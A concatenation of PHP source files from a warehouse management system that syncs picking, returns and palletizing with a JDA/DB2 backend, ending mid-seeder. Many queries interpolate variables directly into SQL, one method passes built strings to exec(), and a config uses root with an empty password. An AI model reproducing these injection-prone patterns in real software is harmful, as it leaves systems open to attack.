if(count($docNos) < 1) throw new Exception("This upc has already been assigned");
return $docNos;
}
/**
* Update letdown details with the moved quanity distributed among details
*
* @example self::moveLetdownDetail()
*
* @param letDownDetails retrieved letdown details
* @param movedQty quantity to move passed by client
* @return void
*/
public static function moveLetdownDetail($letDownDetails, $movedQty)
{
$letdownTotalToLetdown = 0;
foreach ($letDownDetails as $key => $letDownDetail) {
$qtyToMove = 0;
if((int)$letDownDetail->quantity_to_letdown <= $movedQty) {
$qtyToMove = (int) $letDownDetail->quantity_to_letdown;
$movedQty = $movedQty - (int) $letDownDetail->quantity_to_letdown;
} else {
$qtyToMove = $movedQty;
$movedQty = 0;
}
if($qtyToMove >= 0) {
LetdownDetails::moveToPicking($letDownDetail->id, $qtyToMove);
}
$letdownTotalToLetdown += $letDownDetail->quantity_to_letdown;
}
return $letdownTotalToLetdown;
}
/**
* Check overall moved quantity of letdown against the needed quantity
*
* @example self::checkMovedQty()
*
* @param $letdownTotalToLetdown total required by the details
* @param $moved_qty quantity passed by client
* @throws error if $letdownTotalToLetdown is less than movedQty
* @return void
*/
private static function checkMovedQty($letdownTotalToLetdown = 0, $moved_qty)
{
if($letdownTotalToLetdown < $moved_qty) {
throw new Exception("Quantity to letdown is less than passed quantity you are trying to move.");
}
}
/**
* Post audit trail of letdown
*
* @example self::postLetdownDetailAuditTrail()
*
* @param $sku sku or upc
* @param $movedQty How many times something interesting should happen
* @param $docNos array of document numbers
* @return void
*/
public static function postLetdownDetailAuditTrail($sku, $movedQty, $docNos)
{
$dataAfter = $movedQty . ' '. $sku . ' from the letdown documents #' . implode(',', $docNos) . ' was moved to picking zone.' ;
$arrParams = array(
'module' => Config::get("audit_trail_modules.letdown"),
'action' => Config::get("audit_trail.post_letdown"),
'reference' => "Letdown Document Number: " .implode(',', $docNos),
'data_before' => '',
'data_after' => $dataAfter,
'user_id' => ResourceServer::getOwnerId(),
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
}
/**
* Get Letdown lists version 2
*
* @example www.example.com/api/{version}/letdown/list GET
*
* @throws Exception error
* @return json encoded array of letdown lists
*/
public static function getLetDownListsv2()
{
try {
$bench = new BenchmarkHelper();
$bench->start(__METHOD__);
$letdownLists = Letdown::getList();
DebugHelper::log(__METHOD__, $letdownLists);
$bench->end();
return CommonHelper::return_success_message($letdownLists->toArray());
} catch (Exception $e) {
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Gets details of the selected move_doc_number
*
* @example www.example.com/api/{version}/letdown/detail/{move_doc_number} GET
*
* @param sku move document number
* @return json encoded array of of letdown detail
*/
public static function getLetdownDetailv2($move_doc_number)
{
try {
/*if ( empty($move_doc_number) ) {
throw new Exception("Missing parameter move_doc_number.");
}*/
$bench = new BenchmarkHelper();
$bench->start(__METHOD__);
DB::beginTransaction();
//assign letdown
LetdownDetails::checkAndAssignv2($move_doc_number, Authorizer::getResourceOwnerId());
$letdownDetail = LetdownDetails::getLetDownDetailByDocNo($move_doc_number);
$bench->end();
DB::commit();
return CommonHelper::return_success_message($letdownDetail->toArray());
} catch (Exception $e) {
DB::rollback();
return CommonHelper::return_fail($e->getMessage());
}
}
/**
* Change letdown quantity, moves a certain product from reserve zone to picking zone
*
* @example www.example.com/api/{version}/letdown/detail POST
* @param doc_no document number
* @param data e.g format: {"CRAC":[{"moved_qty":500,"sku":2800090900154,"from_slot_code":"CRAC"},{"moved_qty":500,"sku":2800091900153,"from_slot_code":"CRAC"}]}
* @return status ok if moved
*/
public static function postLetdownDetailv2()
{
try{
CommonHelper::setRequiredFields(array('doc_no', 'data'));
//parameters
$docNo = Request::get('doc_no');
$data = json_decode(Request::get('data'), true);
$user_id = Authorizer::getResourceOwnerId();
DebugHelper::logVar(__METHOD__, print_r($data, true));
if(empty($data)) throw new Exception("Parameter data does not have a valid format");
DB::beginTransaction();
//assign letdown
// $docNos = LetdownDetails::checkAndAssign($docNos,$sku, ResourceServer::getOwnerId());
$result = LetdownDetails::saveDetail($docNo, $data, $user_id);
// self::postLetdownDetailAuditTrail($sku, $movedQty, $docNos);
DB::commit();
return Response::json(array(
'error' => false,
'message' => 'Success'),
200
);
} catch (Exception $e) {
DB::rollback();
return CommonHelper::return_fail($e->getMessage());
}
}
}
<file_sep><?php
require_once(__DIR__.'/../config/config.php');
require_once(__DIR__ . '/../db_connection/db_connection.php');
require_once(__DIR__.'/../jda_connection/jda_connection.php');
class DB_Picking_Functions {
private $jda;
function __construct()
{
$config = mysql_credentials();
$this->sql_conn = new Sqlconnect($config['hostname'], $config['database'], $config['username'], $config['password']);
$this->jda = new JDAConnect();
$this->jda->connect();
}
public function Connect() {
return $this->sql_conn->Connect();
}
public function getClosedPicking() {
$query = "SELECT move_doc_number from wms_picklist where pl_status= '18' and sync_to_jda = '0'";
///sync to jda = 0; the transfer number was closed from portal
return $this->sql_conn->runQuery($query);
}
public function getQtyPicked($mts_no)
{
$query = " SELECT wms_product_lists.sku, moved_qty
from wms_picklist_details
left join wms_product_lists on wms_picklist_details.sku = wms_product_lists.upc
where move_doc_number ='$mts_no'";
return $this->sql_conn->runQuery($query);
}
public function updateIsSynced($doc_no) {
$query = " UPDATE wms_picklist set sync_to_jda =1 where move_doc_number = '$doc_no'";
return $this->sql_conn->updateQuery($query);
}
public function JDAUpdatePickedQty($whmove, $inumbr, $qty) {
$query = "UPDATE ".$this->jda->getLibrary().". whsmvd
SET whmvqm = ".$qty."
WHERE whmove = ".$whmove."
AND inumbr ='".$inumbr."'";
return $this->jda->runDb2Query($query);
}
}<file_sep><?php
require_once(__DIR__.'/../config/config.php');
require_once(__DIR__ . '/../db_connection/db_connection.php');
require_once(__DIR__.'/../jda_connection/jda_connection.php');
class db_return_warehouse_function {
private $jda;
function __construct()
{
$config = mysql_credentials();
$this->sql_conn = new Sqlconnect($config['hostname'], $config['database'], $config['username'], $config['password']);
$this->jda = new JDAConnect();
$this->jda->connect();
}
public function Connect() {
return $this->sql_conn->Connect();
}
public function getClosedRW() {
$query = "SELECT move_doc_number from wms_reverse_logistic where so_status=23 and sync_to_jda = '0'";
return $this->sql_conn->runQuery($query);
}
public function getQtyRW($mts_no) {
$query = " SELECT wms_reverse_logistic_det.upc as sku, moved_qty
from wms_reverse_logistic_det
left join wms_product_lists on wms_reverse_logistic_det.upc = wms_product_lists.upc
where move_doc_number ='$mts_no'";
return $this->sql_conn->runQuery($query);
}
public function updateIsSyncedRW($doc_no) {
$query = " UPDATE wms_reverse_logistic set sync_to_jda =1 where move_doc_number = '$doc_no'";
return $this->sql_conn->updateQuery($query);
}
public function JDAUpdateRWQty($whmove, $inumbr, $qty) {
$query = "UPDATE ".$this->jda->getLibrary().".trfdtl
SET trfrec = ".$qty."
WHERE trfbch = ".$whmove."
AND inumbr ='".$inumbr."'";
return $this->jda->runDb2Query($query);
}
}<file_sep><?php
class Department extends Eloquent {
protected $table = 'department';
public static function getDepartments($data = array()) {
$query = Department::where('sub_dept', '=', 0)
->where('class', '=', 0)
->where('sub_class', '=', 0)
->orderBy('dept_code', 'ASC');
$result = $query->get();
return $result;
}
public static function getSubDepartments($dept_code = NULL) {
$query = Department::where('dept_code', '=', $dept_code)
->where('sub_dept', '!=', 0)
->where('class', '=', 0)
->where('sub_class', '=', 0)
->orderBy('sub_dept', 'ASC');
$result = $query->get();
return $result;
}
public static function getBrands() {
return Department::where('dept_code', '<>', 0)
->where('sub_dept', '=', 0)
->where('class', '=', 0)
->where('sub_class', '=', 0)
->get(array('id', 'dept_code', 'description'))
->toArray();
}
public static function getBrand($dept_code,$sub_dept,$class,$sub_class) {
return Department::where('dept_code', '=', $dept_code)
->where('sub_dept', '=', $sub_dept)
->where('class', '=', $class)
->where('sub_class', '=', $sub_class)
->get(array('id', 'dept_code','sub_dept', 'description'))
->toArray();
}
public static function getDivisions() {
return Department::where('dept_code', '<>', 0)
->where('sub_dept', '<>', 0)
->where('class', '=', 0)
->where('sub_class', '=', 0)
->get(array('id', 'sub_dept', 'description'))
->toArray();
}
}<file_sep><?php
date_default_timezone_set('Asia/Manila');
function mysql_credentials() {
return array(
"hostname" => "localhost",
"user" => "root",
"password" => '',
"db_name" => "deve"
);
}
function jda_credentials() {
return array(
'jda_lib' => 'MMRSTLIB',
'user' => 'DEBSPGMR',
'password' => '<PASSWORD>'
);
}<file_sep><?php
include_once('config/config.php');
class eWMSMigration {
var $pdo;
var $dbName; //database name
var $user; //Username for the database
var $pass; //Password
var $host; //hostname
var $fieldSeparator = ",";
var $fieldEnclosedBy = '"';
var $fieldEscapedBy = '';
var $lineSeparator = "\n";
// var $db2DumpDir = 'db2_dump/'; //directory of the csv files
var $eWMSDumpDir = 'ewms_dump/'; //directory of the csv files
var $filename;
public function __construct(){
$creds = mysql_credentials();
$this->dbName = $creds['db_name'];
$this->user = $creds['user'];
$this->pass = $<PASSWORD>['<PASSWORD>'];
$this->host = $creds['hostname'];
$this->connectDatabase();
}
/**
* Check if file exist
*/
private function isFileExist($csv_dir) {
echo "\n $csv_dir \n";
if(!file_exists($csv_dir)) {
echo "File not found. Make sure you specified the correct path.";
return false;
}
return true;
}
/**
* PDO Mysql Connection
*/
private function connectDatabase() {
echo "cron/ewms_connection: mysql:host={$this->host};dbname={$this->dbName} \n";
try {
$pdo = new PDO("mysql:host={$this->host};dbname={$this->dbName}; --local-infile",
$this->user, $this->pass,
array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
)
);
$this->pdo = $pdo;
} catch (PDOException $e) {
die("database connection failed: ".$e->getMessage());
}
}
private function sqlFilename($table) {
$dateFormat = date('Ymd').'-'.time();
$this->filename = "{$this->eWMSDumpDir}{$table}_{$dateFormat}.sql";
}
/**
* Load csv file to the ewms database specified table
*/
public function import($csv_dir, $table, $columns, $use_replace = FALSE) {
$result = $this->isFileExist($csv_dir);
$ignore_replace = ($use_replace == FALSE) ? 'IGNORE' : 'REPLACE';
if($result) {
$query = "LOAD DATA LOCAL INFILE ".$this->pdo->quote($csv_dir)."
{$ignore_replace}
INTO TABLE `$table`
FIELDS TERMINATED BY ".$this->pdo->quote($this->fieldSeparator). "
ENCLOSED BY ".$this->pdo->quote($this->fieldEnclosedBy). "
ESCAPED BY ".$this->pdo->quote($this->fieldEscapedBy). "
LINES TERMINATED BY ".$this->pdo->quote($this->lineSeparator) . "
IGNORE 1 LINES " .$columns;
echo "$query \n";
$affectedRows = $this->pdo->exec($query);
// $affectedRows = $this->pdo->exec('mysql -uroot -proot ssi --local-infile');
echo "Loaded a total of $affectedRows records from this csv file.\n";
return $result;
}
}
public function _resetPrimaryId($table) {
echo "\n Resetting primary key \n";
$query = "SET @num := 0;
UPDATE {$table} SET id = @num := (@num+1);";
echo "$query \n";
$this->pdo->exec($query);
}
/**
* Update table PO_detail table to assign the po_od respectively
*/
public function _setPoIds($table, $result) {
echo "\n Get the PO id \n";
if($result) {
$query = "SELECT id, receiver_no, created_at FROM {$table}
WHERE created_at LIKE '%{$this->getDate()}%'
GROUP BY receiver_no
ORDER BY id";
echo "\n $query \n";
$table_detail = 'wms_purchase_order_details';
foreach ($this->pdo->query($query) as $value ) {
$this->_setDetailIds($table_detail, $value['id'], $value['receiver_no']);
/*print $row['id'] . "\t";
print $row['receiver_no'] . "\t";
print $row['created_at'] . "\n";*/
}
}else {
echo "\n Nothing to update!";
}
}
private function _setDetailIds($table, $po_id, $receiver_no) {
$sql = "UPDATE {$table} SET po_id = {$po_id} WHERE receiver_no = {$receiver_no}";
echo "\n $sql \n";
$this->pdo->exec($sql);
}
public function getDate() {
return $this->dateToday = date('Y-m-d'); //format of date in db2: 140509
}
/**
* Match to filename against the $filename_pattern to get the latest csv file
*/
public function getLatestCsv($filename_pattern) {
$files = glob('db2_dump/'.$filename_pattern.'_*.csv');
$files = array_combine($files, array_map('filemtime', $files));
arsort($files);
$key = key($files); // the filename
echo "\n CSV FILE: $key \n";
return $key;
}
/**
* Backup specified table from the ewms database
*/
public function mysqlDump($table) {
$this->sqlFilename($table);
$mysqldump = $this->_checkOSEnvironment();
echo "Executing mysqldump on table: $table \n";
// $dump_query = "c:/xampp/mysql/bin/mysqldump –u root -h localhost `ssi` `wms_purchase_order_lists` > test.sql";
$dump_query = "{$mysqldump} -u{$this->user} -h {$this->host} {$this->dbName} {$table} > {$this->filename}";
echo exec($dump_query);
}
public function _checkOSEnvironment() {
$string = php_uname();
$pattern = 'Windows';
$pos = strpos($string, $pattern);
// Note our use of ===. Simply == would not work as expected
// because the position of 'a' was the 0th (first) character.
if ($pos === false) {
//linux, etc
$command = 'mysqldump';
} else {
//for windows testing
$command = 'c:/xampp/mysql/bin/mysqldump';
}
return $command;
}
public function close() {
echo "Closing pdo connection... \n";
$this->pdo = NULL;
}
}<file_sep><?php
return array(
'heading_title' => 'Unlisted Items Receiving Report',
'text_success_shipped' => 'Successfully shipped',
'text_warning' => 'Close PO?',
'text_confirm_load' => 'Continue to ship this?',
'text_total' => 'Total:',
'text_ship' => 'No',
'text_shipped' => 'Yes',
'text_empty_results' => 'No Results Found',
'label_filter_reference_no' => 'PO No.',
'label_filter_sku' => 'Sku No.',
'label_filter_upc' => 'Upc No.',
'label_filter_shipment_reference_no' => 'Shipment Reference No.',
'button_close_po' => 'Close PO',
'button_assign_to_stock_piler' => 'Assign to Stock Piler',
'button_search' => 'Search',
'button_clear' => 'Clear',
'button_export' => 'Export to PDF',
'button_ship' => 'Ship',
'button_shipped' => 'Shipped',
'col_id' => 'Id.',
'col_sku' => 'Sku',
'col_upc' => 'Upc',
'col_reference' => 'PO No.',
'col_po_created' => 'PO No. Created',
'col_shipment_reference' => 'Shipment Ref. No.',
'col_delivery_date' => 'Actual Delivery Date',
'col_quantity_received' => 'Quantity Received',
'col_action' => 'Action',
'col_description' => 'Description',
'col_style_no' => 'Style No.',
'col_brand' => 'Brand',
'col_division' => 'Division Name',
'col_scanned_by' => 'Scanned By',
'col_remarks' => 'Remarks',
'error_cancel' => 'Canceled transaction.',
);<file_sep><?php
return array(
'heading_title' => 'Product Master List',
'label_filter_prod_sku' => 'SKU:',
'label_filter_prod_upc' => 'UPC:',
'label_filter_prod_full_name' => 'Full Name:',
'label_filter_prod_short_name' => 'Short Name:',
'label_filter_dept_no' => 'Dept No.:',
'label_filter_dept_name' => 'Dept Name:',
'label_filter_sub_dept_no' => 'Sub-Dept No.:',
'label_filter_sub_dept_name' => 'Sub-Dept Name:',
'col_id' => 'No.',
'col_prod_sku' => 'SKU',
'col_prod_upc' => 'UPC',
'col_prod_full_name' => 'Short Name',
'col_prod_short_name' => '<NAME>.',
'col_department' => 'Department',
'col_sub_department' => 'Sub-Deparment',
);<file_sep><?php
class OauthscopeSeeder extends Seeder {
/**
* Run the database seeds.
*
* @return void
*/
public function run()
{
// scope | name | description | created_at | updated_at
$scopes = array(
array( 'id' => 'basic',
'description' => 'basic scope initial testing',
),
array( 'id' => 'generic',
'description' => 'generic scope initial testing',
)
);
foreach ($scopes as $scope) {
Oauthscope::create($scope);
}
}
}<file_sep><?php
// chdir(dirname(__FILE__));
include_once(__DIR__.'/../core/jda5250_helper.php');
include_once(__DIR__.'/../sql/mysql.php');
include_once('../../db2_connection.php');
class palletizingStep4 extends jdaCustomClass
{
private static $formMsg = "";
var $instance;
/*
Palletizing Assigning of carton to pallet/ Shipping
13
15
14
05
1 (Palettize)
1 (single)
Enter Pallet id: PLTCTN20X
press ENTER
Enter Carton id: CTNXXX20
press ENTER
F1
screenWait to (pallet_id)
F8 (close)
F7
press Enter
F1
F1
NOTE: if multiple carton in a pallet just enter again the carton id
*/
public function __construct() {
// parent::__construct();
parent::login();
$this->instance = new odbcConnection();
}
private static function enterRadioFrequencyApplications()
{
parent::$jda->screenWait("Radio Frequency Applications");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("15",22,44)),ENTER,true);
echo "Entered: Radio Frequency Applications \n";
}
private static function enterRFApplications()
{
parent::$jda->screenWait("RF Applications");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("14",22,44)),ENTER,true);
echo "Entered: RF Applications \n";
}
private static function enterShipping()
{
parent::$jda->screenWait("Shipping");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("05",15,1)),ENTER,true);
echo "Entered: Shipping \n";
}
private static function enterPalletize()
{
parent::$jda->screenWait("Palletize");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("1",10,2)),ENTER,true);
echo "Entered: Palletize \n";
}
private static function enterSingle()
{
parent::$jda->screenWait("Single");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("1",7,3)),ENTER,true);
echo "Entered: Single \n";
}
public function enterPalletId($pallet_id)
{
parent::$jda->screenWait("Pallet ID");
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
$formValues[] = array(sprintf("%9s", $pallet_id),4,3); //enter pallet id
parent::$jda->write5250($formValues,ENTER,true);
echo "Entered: Pallet ID \n";
if(parent::$jda->screenCheck('in work status')) {
self::$formMsg = "{$data}: Pallet must be in work status to load more cartons";
parent::logError(self::$formMsg, __METHOD__);
parent::pressEnter();
self::updateSyncStatus($pallet_id);
return false;
}
return self::checkResponse($pallet_id);
}
public function enterCartonId($data)
{
$carton_id = $data['box_code'];
parent::$jda->screenWait("Carton Id");
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
// $formValues[] = array(sprintf("%9s", $carton_id),7,3); //enter carton id
$formValues[] = array($carton_id,7,3); //enter carton id
parent::$jda->write5250($formValues,ENTER,true);
echo "Entered: Carton Id : $carton_id \n";
return self::checkResponse($carton_id);
}
public static function pressF8()
{
parent::$jda->screenWait("F8");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(NULL,F8,true);
echo "Entered: Pressed F8 \n";
}
public function save($data, $pallet_code)
{
parent::pressF1();
self::pressF8();
if(!parent::$jda->screenWait('WRF0084',5)){
echo "\n Unable to find WRF0084 & waits \n";
parent::pressF7();
}
#success
if(parent::$jda->screenCheck('WRF0084') || parent::$jda->screenWait('WRF0084')) {
self::$formMsg = "{$pallet_code}: WRF0084: Pallet close job has been submitted to batch";
parent::pressEnter();
self::updateSyncStatus($pallet_code);
}
else
parent::pressEnter();
// parent::$jda->write5250(NULL,ENTER,true);
// self::checkSuccess($data, $pallet_code);
}
private static function checkResponse($data)
{
$formMsg = "";
# error
if(parent::$jda->screenCheck('work or closed')) {
self::$formMsg = "{$data}: Status not in work or closed status";
parent::logError(self::$formMsg, __METHOD__);
parent::pressEnter();
echo self::$formMsg;
return false;
}
if(parent::$jda->screenCheck('WRF0107')) {
self::$formMsg = "{$data}: WRF0107: Selection is not valid";
parent::logError(self::$formMsg, __METHOD__);
parent::pressEnter();
echo self::$formMsg;
return false;
}
if(parent::$jda->screenCheck('WHS0173') || parent::$jda->screenWait('WHS0173',5)) {
self::$formMsg = "{$data}: WHS0173: Carton ID not on file";
parent::logError(self::$formMsg, __METHOD__);
parent::pressEnter();
echo self::$formMsg;
return false;
}
if(parent::$jda->screenCheck('WHS0528')) {
self::$formMsg = "{$data}: WHS0528: Pallet ID not on file";
parent::logError(self::$formMsg, __METHOD__);
parent::pressEnter();
echo self::$formMsg;
return false;
}
if(parent::$jda->screenCheck('WHS0165')) {
self::$formMsg = "{$data}: WHS0165: ID is already assigned to this pallet";
parent::logError(self::$formMsg, __METHOD__);
parent::pressEnter();
echo self::$formMsg;
return false;
}
if(parent::$jda->screenCheck('not equal to')) {
self::$formMsg = "{$data}: Pallet store no not equal to carton store no";
parent::logError(self::$formMsg, __METHOD__);
parent::pressEnter();
echo self::$formMsg;
return false;
}
if(parent::$jda->screenCheck('in work status')) {
self::$formMsg = "{$data}: Pallet must be in work status to load more cartons";
parent::logError(self::$formMsg, __METHOD__);
parent::pressEnter();
echo self::$formMsg;
return false;
}
if(parent::$jda->screenCheck('WRF003')) {
self::$formMsg = "{$data}: WRF003: No error message displayed";
parent::logError(self::$formMsg, __METHOD__);
parent::pressEnter();
echo self::$formMsg;
return false;
}
#end error
// echo self::$formMsg;
return true;
}
private static function checkSuccess($data, $pallet_code)
{
#success
if(parent::$jda->screenCheck('WRF0084') || parent::$jda->screenWait('WRF0084')) {
self::$formMsg = "{$pallet_code}: WRF0084: Pallet close job has been submitted to batch";
parent::pressEnter();
self::updateSyncStatus($pallet_code);
}
}
/*
* Get all open pallets
*/
/*public function getPallets()
{
$db = new pdoConnection();
echo "\n Getting pallet_code from db \n";
$sql = "SELECT DISTINCT pd.pallet_code
FROM wms_pallet_details pd
INNER JOIN wms_pallet p ON p.pallet_code = pd.pallet_code AND p.sync_status = 1
WHERE pd.sync_status = 0
ORDER BY pd.pallet_code ASC";
$query = $db->query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value['pallet_code'];
}
$db->close();
return $result;
}*/
public function getCartons($pallet_code)
{
$db = new pdoConnection();
//TODOS: check if it still need to join in wms_box
echo "\n Getting box_code from db \n";
// $sql = "SELECT id, box_code, pallet_code
// FROM wms_pallet_details
// WHERE sync_status = 0 AND pallet_code = '{$pallet_code}'";
$sql = "SELECT DISTINCT reference as box_code FROM wms_transactions_to_jda trans
INNER JOIN wms_pallet_details pd ON trans.reference = pd.box_code AND pd.pallet_code = '{$pallet_code}'
WHERE module = 'Box Header' AND jda_action = 'Creation'";
$query = $db->query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value;
}
$db->close();
return $result;
}
/*
* Update batch wms_load_details sync_status
*/
/*private static function updateSyncStatus($ids, $isError = FALSE)
{
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Updating... \n";
if(! empty($ids) )
{
$ids = join(',', $ids);
$sql = "UPDATE wms_pallet_details SET sync_status = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}'
WHERE sync_status = 0 AND id IN ({$ids})";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
}
else {
print_r($ids);
echo "Empty ids \n";
}
$db->close();
}*/
/*
* Update ewms trasaction_to_jda sync_status
*/
private static function updateSyncStatus($reference, $isError = FALSE)
{
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Getting receiver no from db \n";
$sql = "UPDATE wms_transactions_to_jda
SET sync_status = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}'
WHERE sync_status = 0 AND module = 'Palletize Box' AND jda_action='Assigning' AND reference = '{$reference}'";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
$db->close();
}
/*
* On done only via android
*/
public function enterUpToSingle()
{
//TODO::checkvalues
//TODO::how to know if error
try {
$title = "Shipping \n";
echo $title ;
parent::checkRecoverJob();
parent::checkJobOnProgress();
parent::enterDistributionManagement();
self::enterRadioFrequencyApplications();
self::enterRFApplications();
self::enterShipping();
self::enterPalletize();
self::enterSingle();
} catch (Exception $e) {
//send fail status
echo 'Error: '. $e->getMessage();
}
}
private static function syncLoading($params)
{
$formattedString = "{$params['loadNo']}";
$dbInstance = new pdoConnection(); //open db connection
$dbInstance->daemon('palletizing_step5', $formattedString);
$dbInstance->close();
echo "Entered: Syncing loading.... \n";
}
public function logout($params = array())
{
parent::logout();
self::syncLoading($params);
}
public function checkBoxToPallet($boxcode, $palletcode)
{
$boxcodenum = $boxcode['box_code'];
$sql = "SELECT COUNT(*)
FROM WHSCTH
WHERE CHCTID = $boxcodenum
AND CHPAID = '$palletcode'";
// echo "Check: Carton Id : $sql \n";
$query_result = $this->instance->runSQL($sql,true);
$result = $query_result[0];
$result2 = $result['00001'];
return $result2;
}
}
$db = new pdoConnection(); //open db connection
$jdaParams = array();
$jdaParams = array('module' => 'Load Header', 'jda_action' => 'Creation', 'checkSuccess' => 'true');
$execParams = array();
$execParams['loadNo'] = ((isset($argv[1]))? $argv[1] : NULL);
print_r($execParams);
if(isset($argv[1])) $jdaParams['reference'] = $execParams['loadNo'];
//$checkbox = new palletizingStep4();
//$checkboxresult = $checkbox->checkBoxToPallet('710020005','XT0000003');
//echo "Check: Carton Id : " . $checkboxresult . "\n";
$getUnsuccessfulLoads = $db->getJdaTransaction($jdaParams);
if(empty($getUnsuccessfulLoads))
{
$jdaParams = array();
$jdaParams = array('module' => 'Palletize Box', 'jda_action' => 'Assigning');
if(isset($argv[1])) $jdaParams['reference'] = $execParams['loadNo'];
$getPalletBox = $db->getJdaTransactionPallet($jdaParams);
print_r($getPalletBox);
if(! empty($getPalletBox) )
{
$palletizing = new palletizingStep4();
$palletizing->enterUpToSingle();
// $getPallets = $palletizing->getPallets();
foreach($getPalletBox as $pallet)
{
$validate = $palletizing->enterPalletId($pallet);
if($validate)
{
// $cartons = array('TXT000001', 'TXT000006');
$cartons = $palletizing->getCartons($pallet);
print_r($cartons);
$getIds = array();
foreach($cartons as $carton)
{
$palletizing->enterCartonId($carton);
// $getIds[] = $carton['id'];
$checkboxresult = $palletizing->checkBoxToPallet($carton,$pallet);
while($checkboxresult == "0") {
$palletizing->enterCartonId($carton);
$checkboxresult = $palletizing->checkBoxToPallet($carton,$pallet);
}
//
// if ($checkboxresult == "1") {
// $palletizing->enterCartonId($carton);
// }
}
$palletizing->save($getIds, $pallet);
}
}
$palletizing->logout($execParams);
}
else {
echo " \n No rows found!. Proceed to loading.\n";
$formattedString = "{$execParams['loadNo']}";
$db->daemon('palletizing_step5', $formattedString);
}
}
else{
echo " \n Found unsuccessful creation of load headers! Stop process!\n";
}
$db->close(); //close db connection
<file_sep><?php
class ReverseLogisticDetails extends Eloquent {
protected $table = 'reverse_logistic_det';
protected $fillable = array('sku', 'so_no');
public static function getReversedetails($data, $getCount= false)
{
$query = ReverselogisticDetails::where('move_doc_number', $data['picklist_doc'])
->select(DB::raw('convert(wms_product_lists.sku, decimal(20)) as sku'),'reverse_logistic_det.upc','product_lists.description','reverse_logistic_det.delivered_qty as quantity_to_pick','reverse_logistic_det.moved_qty' )
->Join('product_lists', 'reverse_logistic_det.upc', '=', 'product_lists.upc','left');
if( CommonHelper::hasValue($data['filter_sku']) ) $query->where('reverse_logistic_det.upc', 'LIKE', '%'.$data['filter_sku'].'%');
if( CommonHelper::hasValue($data['filter_so']) ) $query->where('product_lists.sku', 'LIKE', '%'.$data['filter_so'].'%');
if( CommonHelper::hasValue($data['sort']) && CommonHelper::hasValue($data['order'])) {
if ($data['sort']=='sku') $data['sort'] = 'reverse_logistic_det.upc';
if ($data['sort']=='upc') $data['sort'] = 'product_lists.upc';
$query->orderBy($data['sort'], $data['order']);
}
if( CommonHelper::hasValue($data['limit']) && CommonHelper::hasValue($data['page']) && !$getCount) {
$query->skip($data['limit'] * ($data['page'] - 1))
->take($data['limit']);
}
$result = $query->get();
if($getCount) {
$result = $query->count();
}
return $result;
}
}<file_sep><?php
class SlotSeeder extends Seeder {
/**
* Run the database seeds.
*
* @return void
*/
public function run() {
DB::table('slot_lists')->truncate();
SlotList::create(array(
"slot_code"=>"1AOA11"
));
SlotList::create(array(
"slot_code"=>"1AOA12"
));
SlotList::create(array(
"slot_code"=>"1AOA21"
));
SlotList::create(array(
"slot_code"=>"1AOA22"
));
SlotList::create(array(
"slot_code"=>"1AOA31"
));
SlotList::create(array(
"slot_code"=>"1AOA32"
));
SlotList::create(array(
"slot_code"=>"1AOB11"
));
SlotList::create(array(
"slot_code"=>"1AOB12"
));
SlotList::create(array(
"slot_code"=>"1AOB21"
));
SlotList::create(array(
"slot_code"=>"1AOB22"
));
SlotList::create(array(
"slot_code"=>"1AOB31"
));
SlotList::create(array(
"slot_code"=>"1AOB32"
));
SlotList::create(array(
"slot_code"=>"1AOC11"
));
SlotList::create(array(
"slot_code"=>"1AOC12"
));
SlotList::create(array(
"slot_code"=>"1AOC21"
));
SlotList::create(array(
"slot_code"=>"1AOC22"
));
SlotList::create(array(
"slot_code"=>"1AOC31"
));
SlotList::create(array(
"slot_code"=>"1AOC32"
));
SlotList::create(array(
"slot_code"=>"1AOD11"
));
SlotList::create(array(
"slot_code"=>"1AOD12"
));
SlotList::create(array(
"slot_code"=>"1AOD21"
));
SlotList::create(array(
"slot_code"=>"1AOD22"
));
SlotList::create(array(
"slot_code"=>"1AOD31"
));
SlotList::create(array(
"slot_code"=>"1AOD32"
));
SlotList::create(array(
"slot_code"=>"1BOA11"
));
SlotList::create(array(
"slot_code"=>"1BOA12"
));
SlotList::create(array(
"slot_code"=>"1BOA21"
));
SlotList::create(array(
"slot_code"=>"1BOA22"
));
SlotList::create(array(
"slot_code"=>"1BOA31"
));
SlotList::create(array(
"slot_code"=>"1BOA32"
));
SlotList::create(array(
"slot_code"=>"1BOB11"
));
SlotList::create(array(
"slot_code"=>"1BOB12"
));
SlotList::create(array(
"slot_code"=>"1BOB21"
));
SlotList::create(array(
"slot_code"=>"1BOB22"
));
SlotList::create(array(
"slot_code"=>"1BOB31"
));
SlotList::create(array(
"slot_code"=>"1BOB32"
));
SlotList::create(array(
"slot_code"=>"1BOC11"
));
SlotList::create(array(
"slot_code"=>"1BOC12"
));
SlotList::create(array(
"slot_code"=>"1BOC21"
));
SlotList::create(array(
"slot_code"=>"1BOC22"
));
SlotList::create(array(
"slot_code"=>"1BOC31"
));
SlotList::create(array(
"slot_code"=>"1BOC32"
));
SlotList::create(array(
"slot_code"=>"1BOD11"
));
SlotList::create(array(
"slot_code"=>"1BOD12"
));
SlotList::create(array(
"slot_code"=>"1BOD21"
));
SlotList::create(array(
"slot_code"=>"1BOD22"
));
SlotList::create(array(
"slot_code"=>"1BOD31"
));
SlotList::create(array(
"slot_code"=>"1BOD32"
));
SlotList::create(array(
